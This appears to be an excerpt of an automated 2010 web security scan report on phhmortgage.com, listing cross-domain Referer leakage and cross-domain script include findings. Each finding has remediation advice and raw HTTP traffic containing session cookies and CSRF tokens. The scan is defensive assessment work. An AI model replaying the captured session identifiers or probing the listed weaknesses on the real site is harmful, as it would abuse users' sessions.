GET /sso/mq2/login.jsp?TYPE=33554433&REALMOID=06-bdc806c4-8355-4c2f-b4e0-ac3ecc5c7494&GUID=&SMAUTHREASON=0&METHOD=GET&SMAGENTNAME=phhmortgage-secure@lb1b2cwb10p&TARGET=-SM-HTTPS%3a%2f%2fwww%2ephhmortgage%2ecom%2fhome%2f13571%2flandscape%3fjpid%3dSSLoanStart%26PHH_CSRFTOKEN%3dY3WS--GE7R--THEV--ONKF--SJLP--3KDX--H4T9--YE95&SMSESSION=NO HTTP/1.1 Host: www.phhmortgage.com Connection: keep-alive Referer: https://www.phhmortgage.com/info/13571/landscape?jpid=Purchase&PHH_CSRFTOKEN=Y3WS-GE7R-THEV-ONKF-SJLP-3KDX-H4T9-YE95 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1; jplchk=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1!1293565366497
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="/sso/mq/login.jsp?TYPE=33554433&REALMOID=06-69d40195-9749-498e-841a-977f492bac26&GUID=&SMAUTHREASON=0&METHOD=GET&SMAGENTNAME=phhmortgage-secure@lb1b2cwb10p&TARGET=-SM-HTTPS%3a%2f%2fwww%2ephhmortgage%2ecom%2fsso%2fmq2%2flogin%2ejsp%3fTYPE%3d33554433%26REALMOID%3d06--bdc806c4--8355--4c2f--b4e0--ac3ecc5c7494%26GUID%3d%26SMAUTHREASON%3d0%26METHOD%3dGET%26SMAGENTNAME%3dphhmortgage--secure%40lb1b2cwb10p%26TARGET%3d--SM--HTTPS-%3a-%2f-%2fwww-%2ephhmortgage-%2ecom-%2fhome-%2f13571-%2flandscape-%3fjpid-%3dSSLoanStart-%26PHH_CSRFTOKEN-%3dY3WS----GE7R----THEV----ONKF----SJLP----3KDX----H4T9----YE95">here</a>.</p> </body></html>
Request 2
GET /sso/mq2/login.jsp?TYPE=33554433&REALMOID=06-bdc806c4-8355-4c2f-b4e0-ac3ecc5c7494&GUID=&SMAUTHREASON=0&METHOD=GET&SMAGENTNAME=phhmortgage-secure@lb1b2cwb10p&TARGET=-SM-HTTPS%3a%2f%2fwww%2ephhmortgage%2ecom%2fhome%2f13571%2flandscape%3fjpid%3dSSLoanStart%26PHH_CSRFTOKEN%3dY3WS--GE7R--THEV--ONKF--SJLP--3KDX--H4T9--YE95&SMSESSION=NO HTTP/1.1 Host: www.phhmortgage.com Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1; jplchk=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1!1293565366497
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="/sso/mq/login.jsp?TYPE=33554433&REALMOID=06-69d40195-9749-498e-841a-977f492bac26&GUID=&SMAUTHREASON=0&METHOD=GET&SMAGENTNAME=phhmortgage-secure@lb1b2cwb9p&TARGET=-SM-HTTPS%3a%2f%2fwww%2ephhmortgage%2ecom%2fsso%2fmq2%2flogin%2ejsp%3fTYPE%3d33554433%26REALMOID%3d06--bdc806c4--8355--4c2f--b4e0--ac3ecc5c7494%26GUID%3d%26SMAUTHREASON%3d0%26METHOD%3dGET%26SMAGENTNAME%3dphhmortgage--secure%40lb1b2cwb10p%26TARGET%3d--SM--HTTPS-%3a-%2f-%2fwww-%2ephhmortgage-%2ecom-%2fhome-%2f13571-%2flandscape-%3fjpid-%3dSSLoanStart-%26PHH_CSRFTOKEN-%3dY3WS----GE7R----THEV----ONKF----SJLP----3KDX----H4T9----YE95">here</a>.</p> </body></html>
6. Cross-domain Referer leakagepreviousnext There are 11 instances of this issue:
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
GET /B2CLeadReferral/pageflows/leadReferral/LeadReferralController.jpf?cid=13571 HTTP/1.1 Host: www.phhmortgage.com Connection: keep-alive Referer: https://www.phhmortgage.com/sso/mq/login.jsp?TYPE=33554433&REALMOID=06-69d40195-9749-498e-841a-977f492bac26&GUID=&SMAUTHREASON=0&METHOD=GET&SMAGENTNAME=phhmortgage-secure@lb1b2cwb10p&TARGET=-SM-HTTPS%3a%2f%2fwww%2ephhmortgage%2ecom%2fsso%2fmq2%2flogin%2ejsp%3fTYPE%3d33554433%26REALMOID%3d06--bdc806c4--8355--4c2f--b4e0--ac3ecc5c7494%26GUID%3d%26SMAUTHREASON%3d0%26METHOD%3dGET%26SMAGENTNAME%3dphhmortgage--secure%40lb1b2cwb10p%26TARGET%3d--SM--HTTPS-%3a-%2f-%2fwww-%2ephhmortgage-%2ecom-%2fhome-%2f13571-%2flandscape-%3fjpid-%3dSSLoanStart-%26PHH_CSRFTOKEN-%3dY3WS----GE7R----THEV----ONKF----SJLP----3KDX----H4T9----YE95 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1; jplchk=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1!1293565366497
Response
HTTP/1.1 200 OK Date: Tue, 28 Dec 2010 19:45:11 GMT Server: Apache Pragma: no-cache Content-Length: 14239 Expires: Wed, 31 Dec 1969 23:59:59 GMT Set-Cookie: B2CLEADREFJSESSIONID=zXhWNh2LFKvbQpp2GTk2wMkgLyXDByLtPwpy9PJXqgqpmF8FpCQG!261406136; path=/ Cache-Control: no-cache,no-store,must-revalidate P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html;charset=UTF-8
<!--START startDetailedLeadReferral.jsp-->
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!DOCTYPE HTML PUB ...[SNIP]... <td class="headerlogo"><img src="https://images.mortgagequestions.com/img/b2cleadref/logo_37.gif"></td> ...[SNIP]... <!-- SiteCatalyst code version: H.2. Copyright 1997-2005 Omniture, Inc. More info available at http://www.omniture.com --> <script type="text/JavaScript" language="JavaScript" src="https://images.mortgagequestions.com/img/b2cleadref/../scripts/s_code.js"></script> ...[SNIP]...
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.c.mortgagequestions.com:443/siteminderagent/SmMakeCookie.ccc?SMSESSION=QUERY&PERSIST=0&TARGET=-SM-HTTPS%3a%2f%2fwww%2ephhmortgage%2ecom%2fhome%2f13571%2flandscape%3fjpid%3dSSLoanStart%26PHH_CSRFTOKEN%3dY3WS--GE7R--THEV--ONKF--SJLP--3KDX--H4T9--YE95">here</a> ...[SNIP]...
GET /home/13571/landscape?jpid=LogIn&loginmode=registered&PHH_CSRFTOKEN=Y3WS-GE7R-THEV-ONKF-SJLP-3KDX-H4T9-YE95 HTTP/1.1 Host: www.phhmortgage.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1; jplchk=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1!1293565366497; LSJPLCHKCookie=yes;
Response
HTTP/1.1 302 Found Date: Tue, 28 Dec 2010 19:45:19 GMT Server: Apache Cache-Control: no-store Location: https://www.c.mortgagequestions.com:443/siteminderagent/SmMakeCookie.ccc?SMSESSION=QUERY&PERSIST=0&TARGET=-SM-HTTPS%3a%2f%2fwww%2ephhmortgage%2ecom%2fhome%2f13571%2flandscape%3fjpid%3dLogIn%26loginmode%3dregistered%26PHH_CSRFTOKEN%3dY3WS--GE7R--THEV--ONKF--SJLP--3KDX--H4T9--YE95 Content-Length: 471 Connection: close Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.c.mortgagequestions.com:443/siteminderagent/SmMakeCookie.ccc?SMSESSION=QUERY&PERSIST=0&TARGET=-SM-HTTPS%3a%2f%2fwww%2ephhmortgage%2ecom%2fhome%2f13571%2flandscape%3fjpid%3dLogIn%26loginmode%3dregistered%26PHH_CSRFTOKEN%3dY3WS--GE7R--THEV--ONKF--SJLP--3KDX--H4T9--YE95">here</a> ...[SNIP]...
GET /home/13571/landscape?jpid=SSLoanStart HTTP/1.1 Host: www.phhmortgage.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1; jplchk=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1!1293565366497; LSJPLCHKCookie=yes;
Response
HTTP/1.1 302 Found Date: Tue, 28 Dec 2010 19:45:20 GMT Server: Apache Cache-Control: no-store Location: https://www.c.mortgagequestions.com:443/siteminderagent/SmMakeCookie.ccc?SMSESSION=QUERY&PERSIST=0&TARGET=-SM-HTTPS%3a%2f%2fwww%2ephhmortgage%2ecom%2fhome%2f13571%2flandscape%3fjpid%3dSSLoanStart Content-Length: 387 Connection: close Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.c.mortgagequestions.com:443/siteminderagent/SmMakeCookie.ccc?SMSESSION=QUERY&PERSIST=0&TARGET=-SM-HTTPS%3a%2f%2fwww%2ephhmortgage%2ecom%2fhome%2f13571%2flandscape%3fjpid%3dSSLoanStart">here</a> ...[SNIP]...
GET /info/13571/landscape?jpid=Refi&PHH_CSRFTOKEN=Y3WS-GE7R-THEV-ONKF-SJLP-3KDX-H4T9-YE95 HTTP/1.1 Host: www.phhmortgage.com Connection: keep-alive Referer: https://www.phhmortgage.com/info/landscape?jpid=Home&cid=13571 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: LSJPLCHKCookie=yes; JSESSIONID=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1; jplchk=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1!1293565366497
Response
HTTP/1.1 200 OK Date: Tue, 28 Dec 2010 19:44:23 GMT Server: Apache Pragma: no-cache Content-Length: 56323 Expires: Wed, 31 Dec 1969 23:59:59 GMT Cache-Control: no-cache,no-store,must-revalidate P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <!-- single_static_component tmpl --> <HTML> <SCRIPT LANGUAGE=JAVASCRIPT>if (top != self) top.location=self.location;</SCRIPT>
<HE ...[SNIP]... <!--GLOBALHeadScripts--> <SCRIPT TYPE="TEXT/JavaScript" LANGUAGE="JavaScript" SRC="https://images.mortgagequestions.com/img/brand2/../scripts/HolidayAndCarlScripts.js"></SCRIPT> ...[SNIP]... <!-- END Bean Added by DAND per S.R.-->
GET /info/13571/landscape?jpid=Purchase&PHH_CSRFTOKEN=Y3WS-GE7R-THEV-ONKF-SJLP-3KDX-H4T9-YE95 HTTP/1.1 Host: www.phhmortgage.com Connection: keep-alive Referer: https://www.phhmortgage.com/info/13571/landscape?jpid=Refi&PHH_CSRFTOKEN=Y3WS-GE7R-THEV-ONKF-SJLP-3KDX-H4T9-YE95 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: LSJPLCHKCookie=yes; JSESSIONID=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1; jplchk=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1!1293565366497
Response
HTTP/1.1 200 OK Date: Tue, 28 Dec 2010 19:44:27 GMT Server: Apache Pragma: no-cache Content-Length: 56772 Expires: Wed, 31 Dec 1969 23:59:59 GMT Cache-Control: no-cache,no-store,must-revalidate P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <!-- single_static_component tmpl --> <HTML> <SCRIPT LANGUAGE=JAVASCRIPT>if (top != self) top.location=self.location;</SCRIPT>
<HE ...[SNIP]... <!--GLOBALHeadScripts--> <SCRIPT TYPE="TEXT/JavaScript" LANGUAGE="JavaScript" SRC="https://images.mortgagequestions.com/img/brand2/../scripts/HolidayAndCarlScripts.js"></SCRIPT> ...[SNIP]... <!-- END Bean Added by DAND per S.R.-->
GET /info/13571/landscape?jpid=Products&PHH_CSRFTOKEN=Y3WS-GE7R-THEV-ONKF-SJLP-3KDX-H4T9-YE95 HTTP/1.1 Host: www.phhmortgage.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1; jplchk=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1!1293565366497; LSJPLCHKCookie=yes;
Response
HTTP/1.1 200 OK Date: Tue, 28 Dec 2010 19:45:16 GMT Server: Apache Pragma: no-cache Content-Length: 85159 Expires: Wed, 31 Dec 1969 23:59:59 GMT Cache-Control: no-cache,no-store,must-revalidate P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Connection: close Content-Type: text/html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <!-- single_static_component tmpl --> <HTML> <SCRIPT LANGUAGE=JAVASCRIPT>if (top != self) top.location=self.location;</SCRIPT>
<HE ...[SNIP]... <!--GLOBALHeadScripts--> <SCRIPT TYPE="TEXT/JavaScript" LANGUAGE="JavaScript" SRC="https://images.mortgagequestions.com/img/brand2/../scripts/HolidayAndCarlScripts.js"></SCRIPT> ...[SNIP]... <!-- END Bean Added by DAND per S.R.-->
GET /info/13571/landscape?jpid=Home HTTP/1.1 Host: www.phhmortgage.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1; jplchk=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1!1293565366497; LSJPLCHKCookie=yes;
Response
HTTP/1.1 200 OK Date: Tue, 28 Dec 2010 19:45:18 GMT Server: Apache Pragma: no-cache Content-Length: 100034 Expires: Wed, 31 Dec 1969 23:59:59 GMT Cache-Control: no-cache,no-store,must-revalidate P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Connection: close Content-Type: text/html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <!-- home tmpl -->
GET /sso/mq/login.jsp?TYPE=33554433&REALMOID=06-69d40195-9749-498e-841a-977f492bac26&GUID=&SMAUTHREASON=0&METHOD=GET&SMAGENTNAME=phhmortgage-secure@lb1b2cwb10p&TARGET=-SM-HTTPS%3a%2f%2fwww%2ephhmortgage%2ecom%2fsso%2fmq2%2flogin%2ejsp%3fTYPE%3d33554433%26REALMOID%3d06--bdc806c4--8355--4c2f--b4e0--ac3ecc5c7494%26GUID%3d%26SMAUTHREASON%3d0%26METHOD%3dGET%26SMAGENTNAME%3dphhmortgage--secure%40lb1b2cwb10p%26TARGET%3d--SM--HTTPS-%3a-%2f-%2fwww-%2ephhmortgage-%2ecom-%2fhome-%2f13571-%2flandscape-%3fjpid-%3dSSLoanStart-%26PHH_CSRFTOKEN-%3dY3WS----GE7R----THEV----ONKF----SJLP----3KDX----H4T9----YE95 HTTP/1.1 Host: www.phhmortgage.com Connection: keep-alive Referer: https://www.phhmortgage.com/info/13571/landscape?jpid=Purchase&PHH_CSRFTOKEN=Y3WS-GE7R-THEV-ONKF-SJLP-3KDX-H4T9-YE95 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1; jplchk=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1!1293565366497
Response
HTTP/1.1 200 OK Date: Tue, 28 Dec 2010 19:44:46 GMT Server: Apache Pragma: no-cache Content-Length: 55952 Expires: Wed, 31 Dec 1969 23:59:59 GMT Cache-Control: no-cache,no-store,must-revalidate P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html
<!--template ssloanstart-->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <!-- ssloanstart tmpl -->
<HTML> <SCRIPT LANGUAGE=JAVASCRIPT>if (top != self) top.location=self.locat ...[SNIP]... <!-- END Bean Added by DAND per S.R.-->
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.c.mortgagequestions.com:443/siteminderagent/SmMakeCookie.ccc?SMSESSION=QUERY&PERSIST=0&TARGET=-SM-HTTPS%3a%2f%2fwww%2ephhmortgage%2ecom%2fsso%2fmq2%2flogin%2ejsp%3fTYPE%3d33554433%26REALMOID%3d06--bdc806c4--8355--4c2f--b4e0--ac3ecc5c7494%26GUID%3d%26SMAUTHREASON%3d0%26METHOD%3dGET%26SMAGENTNAME%3dphhmortgage--secure%40lb1b2cwb10p%26TARGET%3d--SM--HTTPS-%3a-%2f-%2fwww-%2ephhmortgage-%2ecom-%2fhome-%2f13571-%2flandscape-%3fjpid-%3dSSLoanStart-%26PHH_CSRFTOKEN-%3dY3WS----GE7R----THEV----ONKF----SJLP----3KDX----H4T9----YE95">here</a> ...[SNIP]...
7. Cross-domain script includepreviousnext There are 5 instances of this issue:
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
GET /B2CLeadReferral/pageflows/leadReferral/LeadReferralController.jpf?cid=13571 HTTP/1.1 Host: www.phhmortgage.com Connection: keep-alive Referer: https://www.phhmortgage.com/sso/mq/login.jsp?TYPE=33554433&REALMOID=06-69d40195-9749-498e-841a-977f492bac26&GUID=&SMAUTHREASON=0&METHOD=GET&SMAGENTNAME=phhmortgage-secure@lb1b2cwb10p&TARGET=-SM-HTTPS%3a%2f%2fwww%2ephhmortgage%2ecom%2fsso%2fmq2%2flogin%2ejsp%3fTYPE%3d33554433%26REALMOID%3d06--bdc806c4--8355--4c2f--b4e0--ac3ecc5c7494%26GUID%3d%26SMAUTHREASON%3d0%26METHOD%3dGET%26SMAGENTNAME%3dphhmortgage--secure%40lb1b2cwb10p%26TARGET%3d--SM--HTTPS-%3a-%2f-%2fwww-%2ephhmortgage-%2ecom-%2fhome-%2f13571-%2flandscape-%3fjpid-%3dSSLoanStart-%26PHH_CSRFTOKEN-%3dY3WS----GE7R----THEV----ONKF----SJLP----3KDX----H4T9----YE95 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1; jplchk=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1!1293565366497
Response
HTTP/1.1 200 OK Date: Tue, 28 Dec 2010 19:45:11 GMT Server: Apache Pragma: no-cache Content-Length: 14239 Expires: Wed, 31 Dec 1969 23:59:59 GMT Set-Cookie: B2CLEADREFJSESSIONID=zXhWNh2LFKvbQpp2GTk2wMkgLyXDByLtPwpy9PJXqgqpmF8FpCQG!261406136; path=/ Cache-Control: no-cache,no-store,must-revalidate P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html;charset=UTF-8
<!--START startDetailedLeadReferral.jsp-->
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!DOCTYPE HTML PUB ...[SNIP]... <!-- SiteCatalyst code version: H.2. Copyright 1997-2005 Omniture, Inc. More info available at http://www.omniture.com --> <script type="text/JavaScript" language="JavaScript" src="https://images.mortgagequestions.com/img/b2cleadref/../scripts/s_code.js"></script> ...[SNIP]...
GET /b2bhome/13571/landscape HTTP/1.1 Host: www.phhmortgage.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1; jplchk=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1!1293565366497; LSJPLCHKCookie=yes;
Response
HTTP/1.1 200 OK Date: Tue, 28 Dec 2010 19:45:38 GMT Server: Apache Pragma: no-cache Content-Length: 67132 Expires: Wed, 31 Dec 1969 23:59:59 GMT Cache-Control: no-cache,no-store,must-revalidate P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Connection: close Content-Type: text/html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <!-- LogIn tmpl --> <HTML> <SCRIPT LANGUAGE=JAVASCRIPT>if (top != self) top.location=self.location;</SCRIPT>
<HEAD> <!--GLOBALHea ...[SNIP]... <!--shared at root--> <script language="javascript1.1" defer src="https://images.mortgagequestions.com/img/brand2/../scripts/hbx.js"></script> ...[SNIP]... <!-- SiteCatalyst code version: H.2. Copyright 1997-2005 Omniture, Inc. More info available at http://www.omniture.com --> <script type="text/JavaScript" language="JavaScript" src="https://images.mortgagequestions.com/img/brand2/../scripts/s_code.js"></script> ...[SNIP]...
GET /info/13571/landscape?jpid=Refi&PHH_CSRFTOKEN=Y3WS-GE7R-THEV-ONKF-SJLP-3KDX-H4T9-YE95 HTTP/1.1 Host: www.phhmortgage.com Connection: keep-alive Referer: https://www.phhmortgage.com/info/landscape?jpid=Home&cid=13571 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: LSJPLCHKCookie=yes; JSESSIONID=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1; jplchk=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1!1293565366497
Response
HTTP/1.1 200 OK Date: Tue, 28 Dec 2010 19:44:23 GMT Server: Apache Pragma: no-cache Content-Length: 56323 Expires: Wed, 31 Dec 1969 23:59:59 GMT Cache-Control: no-cache,no-store,must-revalidate P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <!-- single_static_component tmpl --> <HTML> <SCRIPT LANGUAGE=JAVASCRIPT>if (top != self) top.location=self.location;</SCRIPT>
